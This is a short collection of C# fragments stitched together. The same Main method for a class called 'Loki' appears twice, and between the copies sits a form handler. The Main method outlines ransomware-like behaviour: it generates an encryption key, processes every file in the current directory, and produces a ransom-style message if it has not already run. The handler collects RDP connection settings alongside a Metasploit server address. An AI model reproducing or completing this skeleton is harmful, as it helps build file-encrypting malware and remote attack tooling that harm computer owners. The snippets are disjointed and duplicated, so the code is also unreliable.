static void Main(string[] args) { Loki loki = new Loki(); //decide which encryption/decryption to use //based on if the random number is even or odd Random r = new Random(); int e = 0; if (r.Next(100) % 2 == 0) { e = 1; } //generate a key based on e loki.Generatekey(e); //populate the current directory loki.Populate(Directory.GetCurrentDirectory()); //check to see if we already have ran //if we haven't then build our kick ass message! if (!loki.Check()) { loki.GenerateMsg(); } }
private void buttonConnect_Click(object sender, EventArgs e) { sRDPServer = RDPServer.Text; sRDPGateway = RDPGateway.Text; iRDPPort = Convert.ToInt32(RDPPort.Value); sMetasploitServer = metasploitServer.Text; iMetasploitPort = Convert.ToInt32(metasploitPort.Value); if (cbFullScreen.Checked == true) { FullScreen = true; } Loki secondForm = new Loki(); secondForm.Show(); if (UseNLA.Checked == true) { NLA = true; } }
static void Main(string[] args) { Loki loki = new Loki(); //decide which encryption/decryption to use //based on if the random number is even or odd Random r = new Random(); int e = 0; if (r.Next(100) % 2 == 0) { e = 1; } //generate a key based on e loki.Generatekey(e); //populate the current directory loki.Populate(Directory.GetCurrentDirectory()); //check to see if we already have ran //if we haven't then build our kick ass message! if(!loki.Check()) { loki.GenerateMsg(); } }